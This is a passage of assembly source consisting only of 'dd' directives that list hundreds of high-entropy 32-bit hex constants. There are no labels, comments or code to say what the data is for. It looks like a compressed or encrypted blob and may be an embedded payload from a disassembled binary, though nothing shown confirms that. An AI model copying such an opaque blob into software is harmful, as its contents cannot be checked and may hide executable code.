		dd 67243188h, 0E5842360h, 26F11FDBh, 0C0301C66h, 9B40A098h
		dd 47704B9Ch, 0BE950307h, 0E22004A5h, 0F4C52BDh, 0A315B4F6h
		dd 0A705AA00h, 0A6F612BAh, 0FFC4B609h, 0EA285A4h, 0F0A81428h
		dd 30BB60A0h, 13C1BF97h, 0A620B6F8h, 4B50005h, 0BA5CE9Bh
		dd 9DEEE4A8h, 0BEE25A06h, 0D909812h, 3B2A101h, 0BAAD018h
		dd 96C09338h, 9F1B980Fh, 0B0286080h, 9708B9B3h,	9510D4E9h
		dd 0A078B261h, 31BAA9B6h, 59971598h, 0C253BC95h, 9D11150Ch
		dd 0A4007084h, 9C07A5E4h, 0A010C1B9h, 1809B688h, 2912BD9Bh
		dd 0CD072011h, 463575DBh, 4221E68Eh, 0C5020949h, 28884893h
		dd 25803E18h, 0A7151929h, 6633F82h, 0A9089E19h,	84F0E297h
		dd 0EA8F823h, 40C6A048h, 0D711EF80h, 38C1189Dh,	5A7FC4BCh
		dd 72105883h, 94F0574Bh, 0F40C06C8h, 7129C52Bh,	428239DEh
		dd 9987168Fh, 22114601h, 2FA99F8Bh, 0C78200A0h,	0C33A9CD1h
		dd 2A80A023h, 0C84C653Eh, 0E2181E1Dh, 0F206CB19h, 2EE24568h
		dd 8688A6EAh, 196A2164h, 7C42C80h, 467C11F1h, 0E2498A01h
		dd 3B3C40A0h, 9B6138C3h, 4C5B92A8h, 59A5B898h, 4A40078Ah
		dd 0E1226323h, 31185D40h, 0AE59D02Bh, 845B28D5h, 0E73F18C8h
		dd 0DE1440A2h, 1772A905h, 0DDC1C6A7h, 0C08635CFh, 511AC82Ch
		dd 3B875E3Dh, 3908B036h, 18BDE011h, 30D25974h, 0B9C29829h
		dd 0A0E8CCA0h, 14FC2FCh, 0E31451D7h, 51DA403h, 0C92548F1h
		dd 0B4DC1DFBh, 77FA03F1h, 301FD6ECh, 1872F785h,	944CA246h
		dd 4B5880DDh, 0A8278616h, 0EAC5E4C8h, 0C0FBB020h, 9F824B39h
		dd 7A6729D5h, 13862330h, 4E422818h, 0E854A14Ch,	828D3F18h
		dd 3AD5AD54h, 0A193A490h, 0C4F06F85h, 0B8666021h, 6F182421h
		dd 5CDE88D0h, 46C70CFFh
		dd 0D59E1F3Fh, 2623A1F1h, 3AA2284Ah, 1FF24E11h,	36A46784h
		dd 56113472h, 506B9E1Ah, 7E882E90h, 504B2BD4h, 88601028h
		dd 0A721D4C6h, 2255442Bh, 271535EEh, 4488C850h,	0AF116AF6h
		dd 0A12A8439h, 9ACC5CC8h, 20C8136Ch, 3F607212h,	0FC453468h
		dd 8160D048h, 2C89309Ah, 1D8C61A4h, 44C5C812h, 3349094h
		dd 1554338Bh, 14A8B21h,	0C8605E31h, 0BB0DCC63h,	311F3338h
		dd 0B0C2941Ah, 0C8112C52h, 184C2853h, 91610BC3h, 986C4C5Bh
		dd 264C2A10h, 2042B0DAh, 0C48B045h, 60B8986Ah, 8FEC111Fh
		dd 0E89174C1h, 38662A1Ch, 496DA868h, 99D445E0h,	143E1268h
		dd 88F7A4F7h, 21E48C81h, 1081141Eh, 9E01C5F2h, 6CAC60BDh
		dd 9C4CE17h, 0B4EF31Fh,	0EB3809Ah, 7B8FD97h, 1F21A814h
		dd 0A7BA41EEh, 0C4B4F03Ch, 0B36C0500h, 279801AAh, 14045CB6h
		dd 1B06F21Dh, 110F28BBh, 85B39B0Eh, 1CC0A502h, 0EB46C03h
		dd 27A805B5h, 1719AFh, 0BF980B24h, 0B7F012A7h, 0A305C478h
		dd 5E0DB3B9h, 41A0CCDh,	0E1EBC1FAh, 0B420A512h,	0B55E1C0Fh
		dd 184C14BAh, 341B8AA1h, 0C51305B0h, 24003133h,	0EAC604C8h
		dd 4B7F0C26h, 9E19BF74h, 11DD2517h, 574AB001h, 4C34A0AAh
		dd 9CAD17AEh, 0D2380F19h, 81787207h, 60D09377h,	4A03A814h
		dd 3BCE52F9h, 0F0D094C4h, 0BF9EFDh, 0FA7DA56h, 0E48F3943h
		dd 8187851Dh, 600068AEh, 0AEC04BA4h, 77461BCCh,	0C5C0190Dh
		dd 2F7BFC7Ch, 0A0B862F8h, 12C14080h, 0E9CC0530h, 0FDAB49A1h
		dd 58A9C2D3h, 0F65137BCh, 274F2C0h, 4D87CA0h, 6D233D76h
		dd 739FC7C6h, 1004FABDh, 0DAEF9CBCh, 0A68E4C6h,	5362BF72h
		dd 71E21FB8h, 9ADC8730h, 6381EDF8h, 775A2ACh, 0BFDFC3BCh
		dd 72104001h, 15F59CBDh, 31797899h, 8629E811h, 7E048CAEh
		dd 470C16CCh, 4581826Dh, 0C10EF8D9h, 0A8622348h, 0DC85027Eh
		dd 8A0AA03Ah, 0BE0038C4h, 96F52B82h, 0CEF10DFh,	0A0129771h
		dd 48A3A189h, 48D50912h, 4C5D2861h, 0CDB86422h,	6B2F59C1h
		dd 0D7F12091h, 0B0415FCCh, 6DDD0085h, 9AAD369h,	0C2012797h
		dd 0C4BE9B12h, 0A5E19D01h, 0E92C7866h, 0B49A0550h, 0C05487C0h
		dd 0D27B60F2h, 9B000DE8h, 3D4EA7E3h, 0A6410C1Ch, 32FE0060h
		dd 96392D2Ch, 4AC8AB2h,	0E872851Fh, 0D00C3414h,	0A0F20708h
		dd 94C8AAE2h, 0E9C5749Ch, 0A3082384h, 0C11A43E2h, 31F14274h
		dd 4988AC4Eh, 0AD09DD19h, 8E1FD05Ch, 0A221E164h, 3015794Fh
		dd 552449A2h, 63881051h, 733CB791h, 7C084646h, 70013B41h
		dd 2D0353DDh, 0B09CDBC4h, 0A463DD05h, 6C662B0Ch, 0A50208Ch
		dd 0C6D686E9h, 324811E4h, 24420949h, 91444843h,	121E1045h
		dd 20441F22h, 121A8921h, 481C241Bh, 2216911Dh, 19184417h
		dd 1349FC8Bh, 0D773FF80h, 770CEBE4h, 0C160DAD5h, 14089CA2h
		dd 0A0B684A0h, 54D40485h, 0E35080Bh, 43B1484Ch,	0A17E4723h
		dd 80E5D7BBh, 0A2139813h, 0E9FEAE07h, 0C0D1459Ch, 8ED09143h
		dd 74C878A1h, 9EF1F586h, 624742E0h, 0E99440B6h,	81B8BC41h
		dd 9FEB340h, 84F69E9Dh,	48A663A9h, 43FF4BFh, 56FEADFAh
		dd 7BF56088h, 0F011E1D9h, 747CEF75h, 5838A591h,	0B911A517h
		dd 5205ECE2h, 8E4B296h,	38A24F04h, 57FD0485h, 242058h
		dd 4194852Bh, 649C09B2h, 2112C430h, 0A548DF39h,	87565838h
		dd 0C4F4501h, 401E8583h, 0C1A0B6F0h, 0C73A3D18h, 94A2ECCDh
		dd 0A59F1314h, 0BE3E1Ch, 5E43AA1Ah, 0A4483CC8h,	74282F28h
		dd 0AB01E453h, 4C62C603h, 3985288Ch, 0E400D031h, 0B3825EEAh
		dd 0FABF87Dh, 1B384224h, 890F3360h, 2B3CDA50h, 1680D4C0h
		dd 89A68530h, 0F8E8CDA8h, 0C8460F30h, 0B08E52h,	4BF2F6D0h
		dd 146AD8FCh, 5C42A921h, 0A5979C00h, 0A7B24536h, 0A81F540Eh
		dd 93E163DBh, 163B90E6h, 0C8A60748h, 40534559h,	0FD247A40h
		dd 0D50DA9FEh, 702FE54Ch, 3E2CB7F0h, 0AD0CD615h, 0A088248Ch
		dd 20A4F60Ch, 1FCBB122h, 4055D78Bh, 561EBEC1h, 0C438A154h
		dd 0C248E0ECh, 160A02Bh, 3734578Ch, 0FD999245h,	3BB083ACh
		dd 9CF0C4h, 49DD8AF0h, 20A715FCh, 0C561FD60h, 956DAEh
		dd 7D4A1F91h, 425769F6h, 0BDDFEE00h, 0BE5B9F41h, 2B3E12D7h
		dd 0F000AB20h, 0ED1302B5h, 76433DE5h, 7990B380h, 0DD1CDF07h
		dd 0F371D600h, 8B68293Fh, 0F71000DCh, 5D1A296h,	200C794h
		dd 0CCB09760h, 1E8C8E35h, 40CA1FA5h, 7DAD16DDh,	0E9001AA7h
		dd 0E8F5109Dh, 7BA9B179h, 23A500B4h, 1AB375E5h,	0E37CDC9Ch
		dd 0C486B80Ch, 3B60804h, 0D179BA1Eh, 0C0A79635h, 0A988BBFFh
		dd 0B940A761h, 0BDF0E724h, 72AC14FEh, 39F40BFh,	77B0A7C2h
		dd 985AF6C0h, 0B83C21F8h, 60305388h, 0C38BAE98h, 81CA61Ah
		dd 0B48ABBFDh, 20D3DC00h, 0E8C288ADh, 5060A6AFh, 0AD368C5Bh
		dd 0C28BE004h, 8A07BC1Ah, 0CAA964C3h, 0B8E6AE42h, 23BF18h
		dd 24BE7DB8h, 6004C2E3h, 0C385EA0Ah, 0AEC12C35h, 0C440A586h
		dd 0F8640387h, 565FFA80h, 0F87B38BFh, 806D0111h, 76AE21C7h
		dd 1494D2B1h, 367A408Eh, 11FE8007h, 13639096h, 20DCA0BCh
		dd 1FF8A0E9h, 0F6843BEAh, 85505AA8h, 0A7C05504h, 0C704D9h
		dd 8E03DD99h, 7835E4ABh, 24DC871Dh, 1AC409BAh, 123481B0h
		dd 3586B7h, 0C111C3D0h,	0EA5B1028h, 83982480h, 0A5A8BF00h
		dd 0E919DCC8h, 40B64C75h, 0EA5A5063h, 0BF24E5D8h, 502033F1h
		dd 0B439806Ch, 0EC822423h, 74605035h, 0D0FEC6AAh, 4426091h
		dd 9A65F1BFh, 21F3020h,	0AF088AEh, 90C978EBh, 244026BCh
		dd 7B81586Dh, 0E51EC278h, 0F05F5460h, 0D030E3ACh, 61A53C87h
		dd 1CB19107h, 0AAC392B8h, 0A9F0C060h, 0C407A7B8h, 0B58BE455h
		dd 8C40104Dh, 17B1F151h, 0B75B019h, 7002EA47h, 0FC61E716h
		dd 0C0BCE058h, 9138A090h, 18E6BCA9h, 0A6601DC4h, 0C0AC901Eh
		dd 0BD75E758h, 88307B1Ah, 0B9BC40A8h, 6FE87420h, 717C8B1h
		dd 4C8AB453h, 0F07C8B30h, 0A1C7E878h, 0EBC0C375h, 0A18BF86h
		dd 5FBD7DE9h, 7D044898h, 7F8A556h, 8579EB20h, 0FED4D855h
		dd 78E3A70Bh, 0CA6031F0h, 2BC02E0h, 0EA55A58Fh,	0B84EC289h
		dd 829D1893h, 0F0091992h, 8A1C83A9h, 8B44AFBFh,	0BCADE880h
		dd 0C2AE7CB2h, 74E72030h, 8CC17CC3h, 86B6E0C2h,	6D22B114h
		dd 0BE044660h, 79CA65A0h, 0BC4B359h, 5B61FC5h, 0E49C1AB4h
		dd 0CBA4D55h, 9801138Bh, 60B725B5h, 21E91ADCh, 287CD3D8h
		dd 0C4B8242Ch, 551C0749h, 58EA09FCh, 0E452C48Bh, 2450329Fh
		dd 503BC0C8h, 20C4752Eh, 0AABFA507h, 69779D4Fh,	77C320C7h
		dd 0E4EAA2ACh, 0C38B2920h, 3C0F692Ch, 0E7248098h, 34C27D26h
		dd 0E9588518h, 20B305BCh, 0C1B58CB0h, 94FE866Ch, 0D218A680h
		dd 9AA85004h, 91FF38DAh, 12F8EA04h, 0F0CABF3Eh,	24F84B6h
		dd 1EB7ADB6h, 18877829h, 0C864C3D1h, 0B69905E7h, 3B88AD1Ah
		dd 0B805C068h, 2CAAA8A7h, 0BD878E7h, 64A7ACADh,	0B61A5175h
		dd 0B3185579h, 0F05044F8h, 95CAF61Dh, 86E8FA05h, 0A88320D0h
		dd 38AF5C1Eh, 0C3E31A13h, 0A9A0BA44h, 3C9EAD20h, 3AD4E649h
		dd 0A900935Bh, 1EB68A94h, 0BE1E8BE9h, 0C40BB822h, 0E28C8F07h
		dd 0E090B916h, 74AC9C90h, 82987CC9h, 1DB750C0h,	0B821B460h
		dd 0F623C484h, 4F1EE877h, 795049AEh, 0DC18C86Ch, 0E36825DFh
		dd 0E08F5CF4h, 52801628h, 0D3EC34C2h, 0C417EC96h, 340B50DDh
		dd 87AE21E0h, 0C8E090BEh, 0A078AD16h, 9D7BF0h, 997AFEE0h
		dd 86AE23C2h, 0B3A8F00Ch
		dd 0F792175h, 7DE9A9B8h, 0C8B0145Dh, 300E5527h,	10E0CC96h
		dd 8010014Eh, 0BF10D438h, 1606A73Eh, 0E8E388E9h, 146BA9F8h
		dd 0A160E328h, 1C2123C5h, 74E6DC00h, 202160A9h,	86E7ADA5h
		dd 914B13Ah, 0C21FBF75h, 54E0EEB8h, 78F4C435h, 278CA47Ah
		dd 0F83055FAh, 8A72B417h, 0D8D8CBF8h, 0A3C38788h, 8DA0A7DCh
		dd 749F5881h, 15E78BCh,	8E59828Ch, 0E198BDB5h, 0EF47E19Eh
		dd 0E5B08BBBh, 591E8DDBh, 45804299h, 5887EE9Fh,	6EB93E81h
		dd 8FB39D0Fh, 28F89E06h, 88EE981Bh, 42BAA018h, 4EBD1E84h
		dd 54703047h, 2E3ACEEBh, 2FD219AAh, 50FBFD08h, 0E9E2A30h
		dd 438742CBh, 5A8FEEA0h, 45F0BA9Bh, 884C8C6Dh, 0E84B8DF0h
		dd 568103B8h, 58BBBCCBh, 46C143A3h, 4B4EE080h, 871FA0F8h
		dd 8C189F54h, 58F9BE8h,	80B78345h, 4445047h, 0B448AFBFh
		dd 0B6428104h, 92DCC04Bh, 0B8008471h, 1266AA8Bh, 3D647CF9h
		dd 0FE00AC53h, 0E2E988D0h, 0EA11A209h, 6703DC04h, 0C1F189EFh
		dd 0C8C6E6E0h, 2C001AFAh, 389F6C8Ah, 25686Ah, 0B558F328h
		dd 0A3BBCEE1h, 0AC0B6E0Ch, 3B2E589Eh, 9D01F456h, 70062B3Dh
		dd 0A7A080A6h, 5DDB6827h, 6B7800A0h, 0D0F003B0h, 0B603F631h
		dd 6CEFADA6h, 0EB2002FAh, 0BE7A5642h, 8370209Eh, 3821158Ch
		dd 37F88EEh, 0EB5C4A24h, 417C069Fh, 0D009CB0h, 0F2A72394h
		dd 0CCAF2B2Ah, 6B218E08h, 8B0DBC2Eh, 0D8610E00h, 1D98E7E2h
		dd 586083A6h, 0EF55F025h, 20102364h, 68054F00h,	0BB621885h
		dd 0A02937F0h, 763177C8h, 0D902809h, 0B0482290h, 4DE45700h
		dd 0DDC72BF0h, 9FAA3A28h, 66759E02h, 0EC90F70Eh, 0E900483Fh
		dd 0C9E1B7C6h, 0ACB34E1Ah, 53DF401Ch, 5BEBF9C0h, 241FAD0h
		dd 3EA928E3h, 848496A5h, 0DB5609Ch, 0BF232395h,	6400B311h
		dd 0E9EF0DBDh, 7E0726C3h, 8F615CD2h, 369F976h, 0CF10BE94h
		dd 0C9E81B32h, 0D70012B5h, 0A4223955h, 0A1E71C27h, 98418CD4h
		dd 3980E2C3h, 674CABFh,	9D576E4Dh, 65A20098h, 0C6B6087h
		dd 48557D81h, 0D2A93426h, 49802F19h, 71BC0FA3h,	0EA0AA058h
		dd 1C729222h, 1206FCC4h, 28A199EAh, 0F881CD1h, 0F5467FECh
		dd 804B69E0h, 17146C40h, 3ED45E20h, 408E2A2h, 499CA0BBh
		dd 0F2ADCCFEh, 725B38B0h, 0EEC37480h, 20085F91h, 0CF283D0Dh
		dd 0E401D021h, 9011F187h, 888022D7h, 86A0205Ah,	1F72454h
		dd 145CF19Ch, 70528861h, 4018118h, 146C90DDh, 0FE6C0F71h
		dd 70B0EF7Fh, 36173FE8h, 34D85C93h, 36308CC9h, 8A3C2126h
		dd 673C3h, 144FAEE6h, 715A0E85h, 5BEE4906h, 0DF7086A8h
		dd 9FCE4490h, 0CBEC88C2h, 73EDA700h, 0A64A9A64h, 892666Ch
		dd 0AC0021F6h, 341DED9Fh, 146E26B9h, 0BC819436h, 5A5310h
		dd 2B3E1A54h, 0C6B9A8D9h, 41E5C3B1h, 95B3C500h,	0DF997EBEh
		dd 23BA3D51h, 0E0C0EF8Ah, 244389B0h, 584F8087h,	0BBB3BA83h
		dd 53B0189Dh, 0A857E91Eh, 94F82F28h, 0C44B8880h, 0B1CFE493h
		dd 0BA842043h, 2EB460C8h, 0CD032474h, 94EE80FCh, 9B57B5E5h
		dd 4FEF860Ch, 0C0E0086Bh, 0E59C8C21h, 0DD0029B1h, 76544113h
		dd 280B6694h, 15B8BD6Ch, 84E73C21h, 39D10418h, 36052B9Eh
		dd 78C08ABh, 3D89F400h,	32A8103Ah, 75A0FCCBh, 609CD484h
		dd 214CEDA4h, 0ADC0A264h, 1C44ED9Ch, 4020A59Ah,	0B9D5E867h
		dd 79C0D366h, 9ED9AFB0h, 3A871C26h, 40D7C08Ah, 0A97DCE54h
		dd 5FBB5014h, 94E00C0h,	0C05378C5h, 141C926Ch, 0D8EBACEFh
		dd 851FEA00h, 2A36BCAAh, 4E0E4092h, 20A72E73h, 0AFD2CF7Eh
		dd 5508CC66h, 7B016F21h, 0B876B92Eh, 0FADC74A0h, 23C8A001h
		dd 24A783C8h, 62E49403h, 98047184h, 48EDF067h, 4B434264h
		dd 0A11EF322h, 8040EDA0h, 8344E0E7h, 0A69C0BD0h, 68049E7Bh
		dd 54FA44E1h, 0AC94E888h, 0A3FF0980h, 1421C52Bh, 8C757B60h
		dd 31213618h, 887700BCh, 0C9B35BB7h, 0F5004D28h, 1B7D64A8h
		dd 0C02D56FAh, 0B44B8E29h, 5906F4B0h, 0D01FC904h, 3C1932FAh
		dd 3C0A7C58h, 95807511h, 9357B6E5h, 8DE3448Ch, 11E59D00h
		dd 0C27E922h, 0AECCA0DFh, 7F01857h, 0C342B8EBh,	0EEDEBE00h
		dd 92413954h, 0F8C91597h, 0B90CAC5Fh, 5551D07Ah, 0D66FD83Dh
		dd 1B506278h, 3BA900C0h, 0CF17DC09h, 1C0EEBC9h,	813EF064h
		dd 2182047Ah, 80B40C53h, 70856218h, 484DCB30h, 248F07B6h
		dd 111C2735h, 2E4D81BEh, 31D6A7A5h, 756D105Bh, 9E90032Eh
		dd 27FB5083h, 3B645042h, 0D9E854C3h, 6952EE00h,	946492A1h
		dd 0D1D0096Ch, 8083A39Fh, 304CD51Fh, 48C79DCh, 23900D88h
		dd 20B16287h, 5A0DB067h, 0B33D7E01h, 0FE4037A7h, 368BF886h
		dd 8300A95Ch, 0E655532Ah, 9C1F732h, 7FCA13ECh, 8815BF00h
		dd 19042B4Ah, 0B0E0D5B4h, 6C0F43C0h, 0A0E8B2F6h, 732A410Ch
		dd 2484B885h, 7C0C5C3Bh, 1600EA46h, 7DBD7ACDh, 4F241DFDh
		dd 60C0A863h, 3B87365Ch, 0F5A8E1B6h, 71A14688h,	238E0D08h
		dd 4EB2C497h, 0EC0DA761h, 15ACB400h, 0DF70149Eh, 0AEA2CC46h
		dd 311E206Ch, 4C2EFAFBh, 0B8EF4740h, 6480A1D5h,	0C08F34F0h
		dd 0E2B8E28h, 940C5E2Fh, 31243768h, 0AF300B5h, 881404C9h
		dd 4449173Bh, 23698038h, 8B2F9770h, 54F910E0h, 78118F00h
		dd 74059804h, 0F426F1B2h, 0E7E8F848h, 51D5058Ch, 0C23EB1A7h
		dd 7490AD58h, 3B64AA36h, 90607058h, 572489E5h, 0F873E8BBh
		dd 15A4E598h, 0B4BE046Dh, 8102083Fh, 0DA1F6716h, 8FD2E8C0h
		dd 602A2126h, 0D46B6440h, 2D78C18Dh, 49D64C37h,	82F061A8h
		dd 78959C18h, 0A9346887h, 941899E8h, 0F6E980A2h, 82E930h
		dd 0A9C3FEB1h, 3B7809C8h, 50D58700h, 703DAA1Eh,	8244833h
		dd 3665B9A1h, 0C0631038h, 43164FA0h, 95E0EB10h,	8B104048h
		dd 0E38C50F1h, 7BD95540h, 190093F9h, 0E6E778B9h, 0CFF0B007h
		dd 3FCDB660h, 7C057202h, 97F5CCEFh, 0BB1C0260h,	0CD376CC9h
		dd 0E46204D4h, 90C49007h, 0F2390006h, 10A86B85h, 910BE4C5h
		dd 18683F47h, 58DCAF88h, 2730688Dh, 2F60E0F1h, 9106E492h
		dd 0CF983F25h, 0C6660030h, 0F615D087h, 78143DA9h, 0A5984F4Bh
		dd 0C09ECC08h, 23970DB3h, 0B022AF46h, 0DBB6A09h, 3022898Ch
		dd 1252B978h, 4FB2E21h,	12A6E40Ch, 0B09CE00Eh, 0E224484Ch
		dd 7CE70BA0h, 6517C014h, 5C20D904h, 12BD8543h, 91DBE2h
		dd 29D85685h, 7A03E351h, 3881CA83h, 3A08857h, 0B840D5FBh
		dd 4B85558Fh, 8348BCCh,	4BC977D8h, 0E4CC5400h, 2713A41Eh
		dd 0B840E548h, 2F3FD507h, 0E9210084h, 0EC88AF3Dh, 6C93D39Ah
		dd 4D37BA38h, 1F8001Ch,	3F40E9A3h, 78F0361h, 4BDC3DF6h
		dd 7486E690h, 0B783A601h, 4E795487h, 102044C1h,	0AA848880h
		dd 8058B159h, 0A7A82E48h, 68008756h, 6F0B2E70h,	24C977E9h
		dd 0C02CB5EDh, 0E6F91388h, 37F28898h, 9B77D0Ah,	281DC8EAh
		dd 78B220h, 2F150135h, 0F2731E4Dh, 8987AB01h, 597F5153h
		dd 21170898h, 0F2006B44h, 0BEAB9778h, 0A03060h,	280CD2BCh
		dd 0F6831335h, 401407Ch, 504D9959h, 0FED032FDh,	0A74F0014h
		dd 0A1B86FC1h, 0B0331922h, 7430891h, 0C19F7121h, 5A27C33Eh
		dd 66C389D0h, 401B7900h, 20E624B6h, 9CCA0FFDh, 9561115Eh
		dd 803BD00Ch, 424FAB80h, 57156853h, 13C86885h, 148825C1h
		dd 1ABBE0C3h, 9EC0C742h, 0D80A26B4h, 0A77C0C00h, 9AC48190h
		dd 805F6010h, 67FEB772h, 0C0511730h, 596D2Fh, 5AD68AD8h
		dd 42CE3339h, 216708CCh
		dd 0D8510090h, 3D2170FBh, 24E21C8Bh, 6647EE05h,	0A3C179BCh
		dd 885736FEh, 3C2AB8D0h, 0B5F90790h, 6FEDE97Bh,	0FBAE583h
		dd 0CE58982Ch, 40B04F1Ah, 0D238FAB1h, 2FD88318h, 0D7D81863h
		dd 1050F293h, 17821056h, 806A1160h, 98BA1D19h, 1F61EC63h
		dd 197CFA3Eh, 20879675h, 90A05D06h, 7E78A690h, 134BE21Eh
		dd 820A5126h, 0FE06BCF2h, 3EE938FDh, 6D0060B8h,	0A525C247h
		dd 8300DAF7h, 4632DAAh,	3B82765h, 0A42F7EFFh, 410018E6h
		dd 5D108E34h, 1971AB9Eh, 8739602h, 5B218031h, 0D12E1086h
		dd 53CC2F41h, 1A074C54h, 1145ECA0h, 9A0C8020h, 14FA0A4Dh
		dd 648CD6C5h, 3E806464h, 0AC42D687h, 8D64448Ch,	81D84E38h
		dd 3E7CEEA3h, 302402D5h, 0E0D40164h, 0D89A87FEh, 0BA8C4060h
		dd 1464681Dh, 90984F78h, 6EC108A6h, 4CC499B8h, 0C19E7040h
		dd 0D73B922Bh, 2AF4001Ch, 4C57D968h, 5CBE49B3h,	0AB2F7F1Fh
		dd 10880794h, 627BA457h, 8055202Eh, 82040910h, 31C6D244h
		dd 0E8BFAC80h, 0ABE3102Eh, 0AA870646h, 2C15874h, 0EC98F70Dh
		dd 98801472h, 0B21E734Dh, 417F0A18h, 88FE30h, 0A0519D48h
		dd 1CCF05EFh, 108470D0h, 0BC005AACh, 44BE7BEAh,	0E801FD53h
		dd 0D281A58Ah, 208179B0h, 6515C12Fh, 4C204F82h,	62204245h
		dd 170F020h, 8AF80C3Eh,	0C8093680h, 0F4A3080h, 5CE5F965h
		dd 8F1369F6h, 5C5C61C7h, 0ECA0D218h, 49C67A1Ah,	976A1C01h
		dd 9BC82793h, 9FC95F0h,	50BA6525h, 0FBE8082h, 0ABFB503h
		dd 1EE7E074h, 0C02780B0h, 0AC974540h, 30B1F901h, 266B032Eh
		dd 80235832h, 0A6F26E01h, 19186187h, 663F88h, 38B1A1F2h
		dd 5847FD27h, 83DB0A06h, 11C069C2h, 255B224h, 48AA079Eh
		dd 8E88817Fh, 45DACE4Ch, 6032E4A4h, 0C6391Bh, 4D75C29h
		dd 7F6F43CCh, 0EB20D490h, 202C9031h, 14182EE6h,	2341A8FEh
		dd 0B81601EEh, 664BFA8Ch, 45C8E06Dh, 0DA5CDF08h, 0A2984CB3h
		dd 108C048Ch, 389B9E5Bh, 10843B59h, 54017487h, 30A0AF28h
		dd 0EAB8AA95h, 0B0298F28h, 4049FDFAh, 7FA209A0h, 5EB2006Eh
		dd 3BDB710h, 0B9F2A32Ah, 0EBC06695h, 40A0885Ch,	4626BA7Ah
		dd 5902A05Dh, 43F28Bh, 0D3C405CFh, 3C7458h, 534517D4h
		dd 28CC9E4Eh, 0F801D1Eh, 338D81A6h, 449A0D83h, 0E2BA8106h
		dd 7C982BB3h, 50993DC5h, 21301B98h, 6F8CE95h, 0BBD12306h
		dd 9703946h, 36D23E15h,	8C4002Ah, 0B8287D9Ch, 45186810h
		dd 72B4230Ah, 0BFCE80FCh, 24D25DCFh, 7622D490h,	990D1A0Fh
		dd 90A07141h, 532B4DCh,	74121D8h, 0CD8303ACh, 0AA1647Ah
		dd 0F30B3380h, 0E9E05140h, 97025800h, 6C681D50h, 60DC6449h
		dd 101EB049h, 7E8C2CACh, 0CAEF1004h, 9D071483h,	94CBBEB4h
		dd 8F5C0020h, 0B07BCD02h, 4801CC0Fh, 7084B590h,	9C203113h
		dd 6F048C81h, 6987A7F2h, 67004038h, 0BAF772F2h,	2689C5A0h
		dd 189CF41Ch, 69F7182h,	0B688A493h, 0BF028E4Fh,	93D9039Ch
		dd 20083B62h, 0C4E337Dh, 41296118h, 5E6B7C00h, 83BA58C3h
		dd 0E5590016h, 2A64B796h, 0EA26366Fh, 8B0A5CFBh, 2F029C2Ch
		dd 6360B2h, 188D5C82h, 6B99C91h, 7E50B1FFh, 1E2E1420h
		dd 1F03885Eh, 5D18B96Fh, 0C1857900h, 3D9FD3BEh,	58BA3F91h
		dd 8477B49Ch, 81904550h, 8846A2D4h, 8052BAD9h, 0F97E2806h
		dd 3E0A4E7Ch, 0C40482C4h, 2D873031h, 29E2CC23h,	0F08CDD33h
		dd 437D00E6h, 6B778CB1h, 70729313h, 0E704E49h, 91D83E6Eh
		dd 78A20904h, 0D67F0079h, 0C34C0A93h, 5C187528h, 0BCA9B913h
		dd 1A84CD00h, 41B96B9h,	34E97C5Eh, 3E44C2A3h, 9A8BAE20h
		dd 3C424874h, 4E23BA09h, 0B78080B7h, 0AC72CD85h, 4E1E00BFh
		dd 0D895AE59h, 0E8177BCCh, 200453E3h, 46000FD2h, 621CA287h
		dd 21E7D492h, 374C20D5h, 0C65D1F40h, 0F97EB588h, 0BC99E4A1h
		dd 9C972A08h, 5AC4AF50h, 0B0652440h, 309B22C8h,	0A8849A24h
		dd 0DFD2F585h, 7D452890h, 0AFAB16B6h, 1E3464DCh, 26875284h
		dd 20DF6824h, 20061353h, 5D80E5FDh, 0AB814854h,	0CEB873C1h
		dd 75114431h, 0EC8EF5A3h, 1628937Eh, 1E3CD43Fh,	9C034AB4h
		dd 0C4CCE8Ah, 57980DE0h, 8609E839h, 4A849F0h, 34906AC0h
		dd 35E32F0Ah, 4B02707h,	0E599804h, 9FC1518h, 20569BD6h
		dd 0F399D41Ch, 646F5269h, 2AEC891Eh, 0C5B37B24h, 4025E7D8h
		dd 779326E8h, 33135F6Ch, 9A00C914h, 90B755B6h, 0CC44E32Eh
		dd 508C04C4h, 0C7625BCh, 14070C29h, 3BFDC3B8h, 0CE88D100h
		dd 298062E1h, 1405762Eh, 0E839D973h, 0CD12AF80h, 0A600B4A2h
		dd 0D8352AFCh, 0C15F5A8Bh, 0B6C4A0C8h, 9D609909h, 6C368430h
		dd 0AAF27202h, 18318187h, 0F26A4310h, 5B838009h, 0D5318011h
		dd 4C0D20BAh, 0B080E896h, 12EAA63Ch, 12FDAA39h,	4C4F68CCh
		dd 0B4240245h, 0D8B0A336h, 5FA810CFh, 937804B7h, 24B2421Ah
		dd 3C469B08h, 36309420h, 53098903h, 0CF02027Ah,	2006BC9Eh
		dd 38C69893h, 408AB310h, 5B380780h, 0F0CF7CF4h,	18C66D3Eh
		dd 8C6A3092h, 0D8085CBCh, 0C472D68Dh, 54934066h, 1DD44ED8h
		dd 0B1C63E95h, 805E1850h, 130BCE21h, 0E45633h, 651FD58Dh
		dd 0BB84BDF1h, 0B0953D24h, 22D6E08h, 1C2AEC3Eh,	9F4EC4A0h
		dd 98ACA6F9h, 54D53E26h, 0CA28940h, 44A4AE76h, 8902B392h
		dd 5F02BCEBh, 994C430Dh, 8022349Bh, 5CD3506h, 62398061h
		dd 12CC4CD2h, 0C40F17EEh, 1CC384B8h, 1C6010A5h,	872740D7h
		dd 91D0CA35h, 31BB7404h, 37970D05h, 0C912D0F8h,	149B52B9h
		dd 53494828h, 0C1AA80F0h, 9CB9B872h, 0A27458C8h, 387EC132h
		dd 9A0C40F7h, 9B5680FCh, 397A20h, 0F0CD8165h, 2B78896h
		dd 0DE77CE05h, 90C12CD8h, 0C4243EC3h, 0F07F53F8h, 0AC3069A2h
		dd 7EF01CA9h, 1D936E8Bh, 8EBB84BAh, 24288C48h, 6ED02510h
		dd 7532AF0Fh, 70C53089h, 736069E4h, 11029B0Bh, 0D76FFC80h
		dd 3C546C8Dh, 9317B5C6h, 3B041366h, 8C7F90h, 0D4342AEBh
		dd 45E0685Bh, 4A86E713h, 0AC43842h, 0BED8022Ch,	8AC230C3h
		dd 0D0F1B859h, 5ED0C81Fh, 18955E09h, 90BC86D3h,	59245CB0h
		dd 0E8058453h, 0D33BD2F6h, 1804FF78h, 0D09A074Dh, 0A9764A0h
		dd 0FDF9E505h, 36DE09B4h, 0CEF868EEh, 4A2EECB0h, 0C6425010h
		dd 8265042Fh, 84506C34h, 47D4E25h, 908194A8h, 90027FBh
		dd 5702A4D5h, 5C3C9AC5h, 1BC5111h, 1AD92197h, 7E405EEFh
		dd 13110F42h, 92B44D22h, 60441804h, 720D3A00h, 2558BA20h
